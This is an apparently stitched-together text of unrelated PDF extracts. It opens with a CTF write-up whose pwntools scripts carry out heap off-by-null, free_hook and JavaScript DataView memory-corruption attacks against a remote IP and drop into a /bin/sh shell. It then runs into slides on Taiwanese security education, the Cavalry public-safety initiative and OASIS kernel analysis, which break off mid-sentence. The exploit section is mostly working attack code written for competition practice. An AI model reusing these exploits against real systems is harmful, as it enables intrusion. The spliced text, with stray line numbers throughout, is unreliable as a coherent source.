p.sendline(str(idx)) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def run(p, idx): p.recvuntil('>> ') p.sendline('4') p.recvuntil('index: ') p.sendline(str(idx)) def edit(p, idx, name, vaddr, size, data): p.recvuntil('>> ') p.sendline('3') p.recvuntil('index: ') p.sendline(str(idx)) p.recvuntil('name: ') p.send(name) p.recvuntil('vaddr: ') p.sendline(str(vaddr)) p.recvuntil('size: ') p.sendline(str(size)) p.recvuntil('data: ') p.send(data) def gen_section_header(virtual_address, size_of_raw_data, pointer_to_raw_data): section_header = b'a'*0xc + p32(virtual_address) + p32(size_of_raw_data) + p32(pointer_to_raw_data) section_header = section_header.ljust(0x28, b'\x00') return section_header def main(): libc = ELF('./libc-2.23.so', checksec=False) p = remote('119.3.81.43', 2399) #p = process('./loader') dos_header = b'MZ'.ljust(0x3c, b'\x00') + p32(0x40) secNumber = 1 fileHeader = p16(0x14c) + p16(secNumber) fileHeader = fileHeader.ljust(0x14, b'\x00') pe_header = b'PE\x00\x00' + fileHeader pe_header = pe_header.ljust(0xf8, b'\x00') payload = dos_header + pe_header payload += gen_section_header(0, 0, 0) my_load(p, 0, b'plusls\n', len(payload), payload) my_load(p, 1, b'plusls\n', len(payload), payload) delete(p, 1) pe_header = b'PE\x00\x00' + fileHeader pe_header = pe_header.ljust(0xf8, b'\x00') payload = dos_header + pe_header 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 payload += gen_section_header(0x168, 0, 0) payload = payload.ljust(0x1f8, b'\x00') my_load(p, 1, b'plusls\n', len(payload + b'a'*0x10), payload + b'a'*0x10) delete(p, 0) dos_header = b'MZ'.ljust(0x3c, b'\x00') + p32(0x40) secNumber = 2 fileHeader = p16(0x14c) + p16(secNumber) fileHeader = fileHeader.ljust(0x14, b'\x00') pe_header = b'PE\x00\x00' + fileHeader pe_header = pe_header.ljust(0xf8, b'\x00') payload = dos_header + pe_header payload += gen_section_header(0, 0x188, 0) data = b'z'*0x1f0 data = encrypt_data(data, 1) payload += gen_section_header(0, len(data), len(dos_header + pe_header) + 0x28*2) payload += data payload = payload.ljust(0x6f0, b'\x00') my_load(p, 0, b'plusls\n', len(payload), payload) run(p, 1) p.recvuntil(b'z'*0x60) libc_base = u64(p.recvuntil(' is running', drop=True).ljust(8, b'\x00')) - 0x3c4cd8 libc.address = libc_base log.success('{:#x}'.format(libc_base)) my_load(p, 2, b'plusls\n', 0x18, b'a'*0x18) dos_header = b'MZ'.ljust(0x3c, b'\x00') + p32(0x40) secNumber = 1 fileHeader = p16(0x14c) + p16(secNumber) fileHeader = fileHeader.ljust(0x14, b'\x00') pe_header = b'PE\x00\x00' + fileHeader pe_header = pe_header.ljust(0xf8, b'\x00') payload = dos_header + pe_header payload += gen_section_header(0, 0, 0) my_load(p, 2, b'fuck1\n', len(payload), payload) my_load(p, 3, b'fuck2\n', len(payload), payload) delete(p, 3) pe_header = b'PE\x00\x00' + fileHeader pe_header = pe_header.ljust(0xf8, b'\x00') payload = dos_header + pe_header 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 PwnCTFM off by null payload += gen_section_header(0x168, 0, 0) payload = payload.ljust(0x1f8, b'\x00') my_load(p, 3, b'fuck2\n', len(payload + b'a'*0x10), payload + b'a'*0x10) delete(p, 2) dos_header = b'MZ'.ljust(0x3c, b'\x00') + p32(0x40) secNumber = 2 fileHeader = p16(0x14c) + p16(secNumber) fileHeader = fileHeader.ljust(0x14, b'\x00') pe_header = b'PE\x00\x00' + fileHeader pe_header = pe_header.ljust(0xf8, b'\x00') payload = dos_header + pe_header payload += gen_section_header(0, 0x188, 0) data = b'F'*0x190 + b'q'*0x30 + p64(libc.sym['__free_hook'] + 0x8) + p64(0) + p64(libc.sym['__free_hook']) + p64(0x1000) data = encrypt_data(data, 1) payload += gen_section_header(0, len(data), len(dos_header + pe_header) + 0x28*2) payload += data payload = payload.ljust(0x6f0, b'\x00') my_load(p, 2, b'plusls\n', len(payload), payload) edit(p, 3, b'plusls\n', 0, 0x10, p64(libc.sym['system']) + b'/bin/sh\x00') delete(p, 3) p.interactive() def encrypt_data(data, ch): ret = b'' for i in range(len(data)): ret += p8(((data[i] - i) % 256) ^ ch ^ 0x39) return ret if __name__ == '__main__': main() 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 #coding=utf8 from pwn import * context.log_level='debug' 1 2 3 # p = process('./pwn') p = remote('119.3.81.43',49155) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def add(name,size,des,score=None): p.sendline('1') p.sendafter('name:',name) p.sendlineafter("size",str(size)) p.sendafter('des:',des) if score is not None: p.sendlineafter("score",str(score)) def dele(i): p.sendline('2') p.sendlineafter('index',str(i)) def show(i): p.sendline('3') p.sendlineafter('index',str(i)) p.sendlineafter('name','CTFM') p.sendlineafter('password',"123456") # launch_gdb() add('aaa',0xf8,'aaa',114514) for _ in xrange(7): add('aaa',0xf8,'aaa',114514) add('aaa',0xf8,'aaa',114514) add('aaa',0x20,'aaa',114514) for i in xrange(6): dele(7) add('aaa',0xf8,'a'*(0xf8-i),114514) dele(7) add('aaa',0xf8,'a'*0xf1 + '\x08',114514) dele(7) add('aaa',0xf8,'a'*0xf0,114514) for i in xrange(1,8): dele(i) dele(0) dele(9) dele(8) for i in xrange(8): add('aaa',0xf8,'/bin/sh\x00',114514) show(6) p.recvuntil('des:') 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 no1 leak_libc = u64(p.recv(6) + '\x00\x00') - 4111520 log.info('leak libc ' + hex(leak_libc)) dele(7) dele(5) add('aaa',0x118,'a' * 0x100 + p64( leak_libc+libc.symbols['__free_hook']),114514) add('aaa',0xf8,p64( leak_libc+libc.symbols['system']),114514) add('aaa',0xf8,p64( leak_libc+libc.symbols['system']),114514) dele(0) p.interactive() 50 51 52 53 54 55 56 57 58 from pwn import * context.log_level="debug" def code(s): #p.recvuntil("code> ") p.sendline(s) #p=process(["python2","/home/kirin/CTF/pwn2.py"]) #p.interactive() p=remote("119.3.81.43",1338) pay1='''var buffer = new ArrayBuffer(8);var kirin = new DataView(buffer,0);heap=kirin.getBigUint64(0x50,true);print(heap.toString(1 6));1 kirin.setBigUint64(0x50,heap-BigInt(0x110+0x20),true) elf=kirin.getBigUint64(0,1) print(elf.toString(16));1 kirin.setBigUint64(0x130+0x50,heap,true);1 kirin.setBigUint64(0x50,elf-BigInt(0x55555555d203-0x5555555BDDD0),true) libc=kirin.getBigUint64(0,1)-BigInt(0x9d850) kirin.setBigUint64(Number(heap-(elf-BigInt(0x55555555d203- 0x5555555BDDD0))+BigInt(0x50)),heap,true);stack=kirin.getBigUint64(0x228,1) print(libc.toString(16));1 kirin.setBigUint64(0x50,libc+BigInt(0x1ef2e0-0x10),true) stack=kirin.getBigUint64(0,1) print(stack.toString(16));1 var buffer2 = new ArrayBuffer(8);kirin2 = new DataView(buffer2,0); heap=kirin2.getBigUint64(0x18,true);print(heap.toString(16));1 kirin2.setBigUint64(0x18,stack-BigInt(0x7fffffffe0d0-0x7fffffffdfb8),true) kirin2.setBigUint64(0,libc+BigInt(0x26b72),true) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 easypwn kirin2.setBigUint64(8,stack-BigInt(0x7fffffffe0d0-0x7fffffffdfb8- 0x30),true) kirin2.setBigUint64(0x10,libc+BigInt(0x26b73),true) kirin2.setBigUint64(0x18,libc+BigInt(0x0000000000055410),true) kirin2.setUint32(0x20,0x2f62696e,0) kirin2.setUint32(0x24,0x2f736800,0) kirin2.setUint32(0x28,0x616700,0) '''.strip().split("\n") for i in pay1: code(i) code("EOF") p.interactive() 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.log_level = 'debug' def cmd1(s): p.sendlineafter(">>", str(s)) def cmd2(s): p.sendlineafter(":", str(s)) def cmd3(s): p.sendafter(":", str(s)) def new(phone, name, size, note): cmd1(1) cmd2(phone) cmd2(name) cmd2(size) cmd3(note) def free(index): cmd1(2) cmd2(index) def show(index): cmd1(3) cmd2(index) def edit(index, phone, name, note): cmd1(4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Misc m1bmp LSB隐写 cmd2(index) cmd2(phone) cmd2(name) cmd3(note) #p = process('./hello') p = remote("119.3.81.43",49153) #gdb.attach(p) new("1","kirin",0x80,"1\n")#unsorted bin new("2","kirin",0x68,"1\n") free(0) new("3","kirin",0x8,"1"*9) show(2) p.recvuntil("1"*8) libc= u64(p.recvuntil("\n").strip().ljust(8,"\x00"))-0x3c4b31 print hex(libc) #edit(1,"kirin","/bin/sh\x00"+"a"*5+p64(libc+0x3c67a8),p64(libc+0x0453a0)+' \n') edit(1,"111","1"*8+"a"*5+p64(libc+0x3c67a8),p64(libc+0x0453a0)+'\n') edit(2,"222","/bin/sh\x00","/bin/sh\x00\n") #gdb.attach(p) free(2) p.interactive() 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 m0usb usb键盘+01248密码 https://github.com/WangYihang/UsbKeyboardDataHacker Mobile hellehellokey 360加固,脱壳 key都给了,抄⼀下解密算法 c = '884080810882108108821042084010421' frags = c.split('0') flag = '' for frag in frags: flag += (chr(64+sum(map(int,frag)))) print(flag) 1 2 3 4 5 6 import java.math.BigDecimal; import java.util.Arrays; import java.security.Key; import java.security.SecureRandom; import java.security.Security; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyStoreException; import java.security.NoSuchAlgorithmException; import java.security.NoSuchProviderException; import java.security.SecureRandom; import java.security.UnrecoverableEntryException; import java.security.cert.CertificateException; import java.security.spec.InvalidKeySpecException; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.math.BigInteger; import java.util.Base64; import java.util.Base64.Decoder; import org.bouncycastle.jce.provider.BouncyCastleProvider; public class HelloWorld { public static BigDecimal ca(BigDecimal[][] arg6) { return arg6[0][0].multiply(arg6[1][1]).multiply(arg6[2] [2]).subtract(arg6[0][0].multiply(arg6[1][2]).multiply(arg6[2] [1])).subtract(arg6[0][1].multiply(arg6[1][0]).multiply(arg6[2] [2])).add(arg6[0][1].multiply(arg6[1][2]).multiply(arg6[2] [0])).add(arg6[0][2].multiply(arg6[1][0]).multiply(arg6[2] [1])).subtract(arg6[0][2].multiply(arg6[1][1]).multiply(arg6[2][0])); } public static Key AAA(String arg4, byte[] aa) throws InvalidKeySpecException, NoSuchPaddingException, InvalidKeyException, NoSuchAlgorithmException { Security.addProvider( new BouncyCastleProvider()); System.out.println(new SecureRandom().generateSeed(8)); // Security.insertProviderAt(new BouncyCastleProvider(), 1); PBEKeySpec v0 = new PBEKeySpec(arg4.toCharArray(), aa, 10000, 0x80); return SecretKeyFactory.getInstance("PBEWITHSHA256AND128BITAES- CBC-BC").generateSecret(v0); } public static void main(String []args) throws InvalidKeyException, BadPaddingException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeySpecException, IllegalBlockSizeException { System.out.println("a"); String v1 = "-5318281467173987652_AWCi9lUPkJtHXiNJahfmbp0uI3NfTw6C+xtqctVioZBf9Oa56x/l HRDRJg7eAKfL"; String[] v2222 = { "45643_146929454710883133724439317", "5141_146806547890187159627936211", "12657_146808996664410987156248503", "59203_147074971414771841621238397", "3599_146806432347879873041767617", "59190_147074794513918416536895817", "34014_146857310776799437987522057" }; BigDecimal[] v4_3 = new BigDecimal[7]; BigDecimal[] v3_2 = new BigDecimal[7]; 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int v7_1; for(v7_1 = 0; true; ++v7_1) { String[] v8_4 = v2222; if(v7_1 >= v8_4.length) { break; } String[] v8_5 = v8_4[v7_1].split("_"); v4_3[v7_1] = new BigDecimal(v8_5[0]); v3_2[v7_1] = new BigDecimal(v8_5[1]); } BigDecimal[] v2R = v4_3; BigDecimal[] v2S = v3_2; BigDecimal[][] v3_3 = new BigDecimal[4][4]; BigDecimal[][] v4_4 = new BigDecimal[4][4]; BigDecimal v7_2 = new BigDecimal("1"); int v9_1; for(v9_1 = 0; v9_1 < 4; ++v9_1) { int v11; for(v11 = 0; v11 < 4; ++v11) { if(v11 == 0) { v3_3[v9_1][v11] = v2S[v9_1]; v4_4[v9_1][v11] = v7_2; } else { v3_3[v9_1][v11] = v2R[v9_1].pow(v11); v4_4[v9_1][v11] = v2R[v9_1].pow(v11); } } } BigDecimal[] v2_1 = new BigDecimal[4]; BigDecimal v7_3 = new BigDecimal("1"); int v8_6; for(v8_6 = 0; v8_6 < 4; ++v8_6) { v2_1[v8_6] = v4_4[v8_6][1]; } int v4_5 = 1; Arrays.sort(((Object[])v2_1)); int v6 = 3; while(v6 >= v4_5) { int v4_6 = v6 - 1; int v8_7; for(v8_7 = v4_6; v8_7 >= 0; --v8_7) { 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 v7_3 = v7_3.multiply(v2_1[v6].subtract(v2_1[v8_7])); } v6 = v4_6; v4_5 = 1; } BigDecimal[][] v2_2 = new BigDecimal[3][3]; BigDecimal[][] v4_7 = new BigDecimal[3][3]; BigDecimal[][] v6_1 = new BigDecimal[3][3]; BigDecimal[][] v8_8 = new BigDecimal[3][3]; int v9_2; for(v9_2 = 0; v9_2 < v3_3.length; ++v9_2) { int v11_1; for(v11_1 = 0; v11_1 < v3_3.length; ++v11_1) { if(v9_2 != 0 && v11_1 != 0) { v2_2[v9_2 - 1][v11_1 - 1] = v3_3[v9_2][v11_1]; } if(v9_2 != 0 && v11_1 != 1) { if(v11_1 == 0) { v4_7[v9_2 - 1][v11_1] = v3_3[v9_2][v11_1]; } else { v4_7[v9_2 - 1][v11_1 - 1] = v3_3[v9_2][v11_1]; } } if(v9_2 != 0 && v11_1 != 2) { if(v11_1 != 1 && v11_1 != 0) { v6_1[v9_2 - 1][v11_1 - 1] = v3_3[v9_2][v11_1]; } else { v6_1[v9_2 - 1][v11_1] = v3_3[v9_2][v11_1]; } } if(v9_2 != 0 && v11_1 != 3) { v8_8[v9_2 - 1][v11_1] = v3_3[v9_2][v11_1]; } } } BigDecimal v2_3 = v3_3[0][0].multiply(ca(v2_2)).subtract(v3_3[0] [1].multiply(ca(v4_7))).add(v3_3[0] [2].multiply(ca(v6_1))).subtract(v3_3[0][3].multiply(ca(v8_8))); 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 if(v2_3.doubleValue() < 0) { v7_3 = v7_3.multiply(new BigDecimal("-1")); } System.out.println(v2_3.divide(v7_3, 4)); String v0j0 = new String(v2_3.divide(v7_3, 4).toBigInteger().toByteArray()); String v2_5 = v0j0; String v3_5 = v1.split("_")[1]; byte[] AA = new BigInteger(v1.split("_")[0]).toByteArray(); Decoder decoder = Base64.getDecoder(); //sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); //byte[] v1_1 = Base64.decode(v3_5, 2); // byte[] v1_1 = decoder.decode(v3_5); byte[] v1_1 = {(byte)1, (byte)96, (byte)162, (byte)246, (byte)85, (byte)15, (byte)144, (byte)155, (byte)71, (byte)94, (byte)35, (byte)73, (byte)106, (byte)23, (byte)230, (byte)110, (byte)157, (byte)46, (byte)35, (byte)115, (byte)95, (byte)79, (byte)14, (byte)130, (byte)251, (byte)27, (byte)106, (byte)114, (byte)213, (byte)98, (byte)161, (byte)144, (byte)95, (byte)244, (byte)230, (byte)185, (byte)235, (byte)31, (byte)229, (byte)29, (byte)16, (byte)209, (byte)38, (byte)14, (byte)222, (byte)0, (byte)167, (byte)203}; System.out.println(v3_5); // System.out.println(v1_1); System.out.println(v2_5); Security.addProvider( new BouncyCastleProvider()); Key v2_6 = AAA(v2_5, AA); System.out.println(v2_6); Cipher v3_6 = Cipher.getInstance("PBEWITHSHA256AND128BITAES-CBC- BC"); v3_6.init(2, v2_6); String vvv = new String(v3_6.doFinal(v1_1)); System.out.println(vvv); } } 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172
pdf
臺灣資安人才教育 Cybersecurity Education in Taiwan 吳宗成 臺灣科技大學資訊管理系特聘教授 教育部資訊安全人才培育計畫主持人 [email protected] 2017/08/25 HITCON CMT 1 開宗明義 教育與人才學 2 教育情境 在學教育 In-campus 社群教育 Community 在職教育 On-job 3 教育本質 4 人手 •What you know 人才 •Why you have 人物 •Who you are 教育目標 5 人手 人才 人 物 人手 人才 人 物 何謂「人才學」? • Talent studies or Talent resources(MBA智庫 百科,2015/03/07) – 綜合自然科學及社會科學的一門新興學科 – 探討人才開發、培訓、管理、使用的基本理論 – 探討人才成長規劃或制度,以更好地發現、培 養、推薦、及使用人才 6 諸葛亮的人才學 • 間之以是非而觀其志 • 窮之以辭辯而觀其變 • 咨之以計謀而觀其識 • 告之以禍難而觀其勇 • 醉之以酒而觀其性 • 臨之以利而觀其廉 • 期之以事而觀其信 7 人才培育的分類與分級 • 人才分類 – 理論與工程技術 – 跨域應用與管理 • 人才分級 – 別人說什麼、自己跟著做什麼(人手C級) – 自己做什麼、別人跟著做什麼(人才B級) – 自己做什麼、自己跟著想什麼(人才B+級) – 自己想什麼、別人跟著想什麼(人物A級) 8 人才學的開發與實踐 • 以國家的角度來看人才學 – 國家人才政策與規劃(long-term) – 社會或產業需求與供給(short-term or mission-oriented) – 自主式社群(society or community) • 以教育的角度來看人才學 – 基礎通用的人才養成(in-campus study) – 進階專業的人才養成(advanced program on-job) • 以企業的角度來看人才學 – 培訓人才(on-job training) – 挖掘人才(headhunt or poach) – 留住人才(keep and retain) 9 資安人才素養 10 資安領域的基礎能量 • 基礎學科(具電資、資管、數學等背景) – 計量數學(線性代數、離散數學、統計學) – 程式語言、程式設計 – 資料結構、演算法 – 作業系統、計算機結構 – 網路系統、資料庫系統 – …  適性發展,人盡其才 11 資安領域的進階能量 • 理論創新能力 – 密碼學(加解密、數位簽章、雜湊函數)、破密分析… – 大數據分析、人工智慧、機器學習… • 工程研發能力 – 系統安全(軟體、硬體)、網路安全、資料庫安全 – 雲端計算、行動運用、數位鑑識… • 應用及管理能力 – 關鍵基礎設施(通訊、水、電、交通、醫療…) – 電子商務、金融支付… – 電子治理、隱私保護、智財保護… 12 資安人才的產業需求 – 各行各業 • 技術研發 – 資安產品或關鍵技術 – 學界、法人及業界研發機構 • 政府及企業應用 – 政府機構(電子化政府、網路犯罪偵防、國安與國防…) – 電信業、電商業(通信系統、電子商務…) – 金融業(網路銀行、線上支付、隱私保護…) – 高科技製造業(電子設備、IC設計、智財保護…) – 遊戲平台、系統整合服務(雲端服務、數位鑑識…) – 會計師事務所(國際證照、資安稽核…) 13 從國際級CTF看到的臺灣之光 HITCON+217 14 2014&2015 DEFCON CTF Top 5 • 2014排名 1. PPP 美國 2. HITCON 臺灣 3. Dragon Sector 波蘭 4. Reckless Abandon ?? 5. Blue-Lotus 中國 • 2015排名 1. DEFKOR 韓國 2. PPP 美國 3. 0daysober 法國+瑞士 4. HITCON 臺灣 5. Blue-Lotus 中國 15 註:各項歷年CTF排名請參考 https: //ctftime.org 2016&2017 DEFCON CTF Top 5 • 2016排名 1. PPP 美國 2. b1o0p 中國 3. DEFKOR 韓國 4. HITCON 臺灣 5. KaisHack 韓國 • 2017排名 1. PPP 美國 2. HITCON 臺灣 3. A*0*E 中國 4. DEFKOR 韓國 5. Tea Deliverers 中國 16 註:各項歷年CTF排名請參考 https: //ctftime.org CTF teams ranking (11th Aug. 2017) Rank Team CTF rating 1 PPP (美國) 701.259 2 217 (臺灣) 570.149 3 LC↯BC (俄羅斯) 469.205 4 Bushwhackers (俄羅斯) 435.993 5 Dragon Sector (波蘭) 428.095 6 Shellphish (美國) 426.139 7 Binja (日本) 345.130 16 HITCON (臺灣) 247.255 17 他山之石 18 他山之石 – 中國大陸 • 信息安全學院 – 上海交通大學(2000年10月) – 清華大學交叉信息研究院(2010年) – 西安電子科技大學(2014年) – … • 信息安全系(含碩士點、博士點) – 北京大學(2002年3月) – 北京工業大學、北京理工大學 – 北京電子科技大學、北京油電大學、中央財經大學 – 武漢大學、四川大學、山東大學 – 青島大學、海南大學 – … 19 他山之石 – 韓國 • KAIST, Graduate School of Information Security • Korea University, Department of Cyber National Defense, Graduate School of Information Security • The Cyber University of Korea (2001), Department of Information Management and Security • Korea Soongsil Cyber University, Department of Convergence Information Security • Pukyong National University, Department of Information Security • … 20 韓國 Best of the Best (BoB) -- 1/4 2017/07/05 21 • Not available 韓國 Best of the Best (BoB) -- 2/4 2017/07/05 22 • Not available 韓國 Best of the Best (BoB) -- 3/4 2017/07/05 23 • Not available 韓國 Best of the Best (BoB) -- 4/4 2017/07/05 24 • Not available 臺灣資安教育 現況及未來 25 臺灣資安教育的現況 • 在學教育 – 科技部專題研究計畫(研究生、專題生) – 教育部資安人才培育計畫(大學生、高中生) – 大專校院產學合作計畫(研究生、大學生) • 在職教育 – 大專校院推廣教育、在職專班 – 資策會、工研院 – 巨匠電腦、恆逸資訊 • 社群教育 – CHROOT(2004年)、HITCON(2005年) – TDOH校園資安讀書會(2013年) 26 教育部資安人才培育計畫 27 研究生 大學生 高中職生 資安實務示範課程 資安實務課程 資安初學者挑戰活動 資安體驗營 實務導師制度 AIS3資安暑期課程 資安實務專題競賽 政府機關/企業 資安/資訊部門 (資安實務技術) 國際級資安戰隊 (資安攻防、國安) 資安新創公司 (資安菁英) 資安產業 (資安研發、應用) 臺灣資安教育體系的未來之鑰 • 向下本土扎根  接軌國際舞台 – 高中職基礎學科、資訊社團 – 大專校院專業科系  資安系所、學院 – 國家級資安研訓院(教學/研究中心、實驗室) – 跨國合作與交流 28 工商服務廣告之一 • 教育部資安人才培育計畫入口網站 https://isip.moe.edu.tw – AIS3 2017資安暑期課程 – 臺灣好厲駭資安實務導師制度 – 資安實務專題講座(大專校院生) – 資安體驗營(高中職生)、資安研習營 – My First CTF 29 工商服務廣告之二 • AIS3資安暑期課程(北中南區同步開課) – 開課日期:2017年8月28日~9月3日 – 北區:臺灣科技大學 – 中區:中興大學 – 南區:成功大學 – https://ais3.org • 臺灣好厲駭 – 實務導師(mentor)制度 – 報名日期:即日起~2017/09/08 – 16位學生、17+位業界及學界導師共同輔導 – https://isip.moe.edu.tw 30 結語 • 資安人才培育工作必須透過政府、企業、學校、 社群四者的通力合作,才能創造菁英亮點 • 政府應有明確及漸進式的各類資安人才培育政策 與推動計畫 • 企業應正視資安人才來源的正向循環,並實際投 入資源(經費、設備、業師等)協助政府、學校 及社群之各類資安人才培育工作 • 深耕本土資安社群(普及於高中、大專校院、學 生社群、民間社群、學會、公協會等),鼓勵國 際交流,期許臺灣資安能量持續躍進國際舞台 31
pdf
The Cavalry Year[0] A Path Forward for Public Safety The Cavalry Year[0] A Path Forward for Public Safety Joshua Corman && Nicholas J. Percoco Our Dependance on Technology is Growing Faster than our Ability to Secure it. Problem Statement: While we struggle to secure our organizations, connected technologies now permeate every aspect of our lives; in our cars, our bodies, our homes, and our public infrastructure. Our Mission: To ensure technologies with the potential to impact public safety and human life are worthy of our trust. Collecting, Connecting, Collaborating, Catalyzing Our Approach: Collecting existing research and researchers towards critical mass. Our Approach: Connecting researchers with each other and stakeholder in media, policy, legal, and affected industries. Our Approach: Collaborating across a broad range of background and skill sets. Our Approach: Catalyzing research and corrective efforts sooner than would happen on their own. Our Approach: One thing is clear… The Cavalry Isn't Coming It Falls To Us One thing is clear… The Cavalry Isn't Coming It Falls To Us It Falls To YOU One thing is clear… The Cavalry Isn't Coming It Falls To Us It Falls To YOU We must be ambassadors of our profession We must be the voice of technical literacy We must research that which matters We must amplify our efforts We must escape the echo chamber We must team with each other Year[0] Activities Year[0] Activities Research Conferences Government Industry Press Deliverables What Worked Well What Worked Well •The Mission •The problems statement, instinct & timing were right. While pieces of this were tried before, timing matters… •Collecting, Connecting, Collaborating, Catalyzing •Teamwork and collective knowledge proved immediately useful to existing research & researchers. E.g. in Medical & Auto •It Takes a Guild •Diverse, but complementary skills made us stronger - including people from industry, from government, and/or people less interested in being public rockstars What Worked Well (cont’d) •Finding Members to Educate Us •To ready ourselves to be better ambassadors to the outside world •To train us on Professional Development and Soft Skills ! •Outside Interest, Feedback, New Members •Tangible results fueled interest and commitment •Positive and constructive feedback loops What Worked (Less Well) What Worked (Less Well) •Too Much Initial Scope •“Body, Mind & Soul” replaced by only “Body” •AKA “Public Safety & Human Life” •Poor Project Management •In lieu of concrete, bite-sized roles & tasks willing parties grew impatient •Poor Balance •Discrete progress vs external communication •The void was often filled with false information and avoidable friction/opposition Surprises Surprises Soft Skills •It was clear early we needed to build muscles in things like: •Communication Empathy •Professional Media Training •Eliminate/Soften Our Jargon ! •These soft skills made many of us more effective in our day job Surprises Public Policy •We found incredible and unlikely allies here •Congressional Staffers were more savvy than we expected ! Industry Reception •Affected Industries had people VERY ready for the help who proved to be amazing guides and assets Surprises The Mission •The Mainstream Media & Policy makers found the mission clear & compelling instantly ! •Buy-in Opened More Avenues The “Legal Entity” 501(c)(3) Educational 501(c)(4) Lobbying 501(c)(6) Professional For Profit Various Forms The “Legal Entity” Choices Changes Going Forward Changes Going Forward • More Self-Service • More Structured Support • Better Communication • More Transparency in Projects • More Transparent on Decisioning • Production of Public Education Deliverables • Initiation of “Cavalry Summit” • Events per target industry • Auto/Medial/Home/Infrastructure • More International Balance/Reach How to Get Involved How to Get Involved • Get a Job in a Target Industry • Research Target Technologies • Speak at Target Industry Events • Help Educate Policy Makers & Media ! • Join the Mailing List - http://bit.ly/thecavalry • Follow on Twitter - @IamTheCavalry • Provide Feedback - [email protected] Open Forum / Questions?
pdf
#BHUSA @BlackHatEvents To Flexibly Tame Kernel Execution With Onsite Analysis Xuhua Ding Singapore Management University #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Outline • Review of existing dynamic kernel analysis techniques • Introduction of the onsite analysis infrastructure (OASIS) • Analysis primitives provided by OASIS • Two examples of OASIS analyzers: function monitor and control flow tracer • Discussions 2 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Existing Approach 1: Code Instrumentation Static code instrumentation: • Linux kernel cooperates with GCC to add Kernel Coverage (KCOV) and Kernel Address SANitizer(KASAN) code into the kernel image at compilation time. • KDB, KGDB Dynamic Binary Instrumentation (DBI) • DBI has been applied to kernel analysis as well: Cobra [S&P'06], PinOS [VEE’07], GILK [TOOLS’02], PEMU [VEE’15]. 3 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Code Instrumentation The Idea: to mix the analysis code and the kernel code into one binary. Pros: native control, introspection and modification Cons: intrusive, no/weak transparency or security kernel code kernel code analysis code Share execution flow and address space 4 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Existing Approach 2: Hardware-assisted Analysis Hypervisor based on Hardware Virtualization (VT-x) • Ether [CCS’08], Gateway [NDSS’11], Spider [ACSAC’13] Intel SMM + Performance Monitoring Unit (PMU) • MALT [S&P’15] TrustZone + ARM debugging facilities • Ninja [USENIX Security’17] 5 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Hardware-assisted Analysis The Idea: to trap the target to an isolated and more privileged environment, e.g., x86 VMX root mode, SMM mode, or ARM SecureWorld Pros: transparency and security Cons: inflexibility to control and introspect - when/where to trigger the event - introspection with semantic gap Target Analyzer Hardware event trap Low privilege High privilege 6 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Can we combine the best of the two approaches without their drawbacks? Transparency Security Native control, introspection, & modification 7 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted What about this ... We interleave the target's instruction stream with the analyzer's without mingling their code. 8 target execution target execution analysis execution #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Execution Flow Instrumentation (EFI) Onsite Analysis: The analyzer analyzes the target "as if" it were one part of the target. • The analyzer dynamically chooses the site(s) of instruction flow interleaving. • No CPU mode/privilege switches between the target and the analyzer. • One-way address space isolation. The target’s address space is accessible to the analyzer, but not vice versa. Analyzer Analyzer-Target Address Space control flow transfer control flow transfer Target Target Address Space 9 Secure Transparent Native access Cross-space #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted System Overview OASIS: Onsite AnalySis InfraStructure • The target kernel runs in a guest virtual machine. • OASIS empowers an onsite analysis application to read/write/control a captured live kernel thread. • Most of OASIS is implemented as a host Linux kernel module running in tandem with KVM. Onsite Environment. • A dedicated CPU core • a special paging hierarchy 10 OASIS Guest VM Onsite Environme nt Host Linux Target OASIS-Lib Analyzer/Target App #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Workflow of an Onsite Analyzer The top-level workflow • Target thread 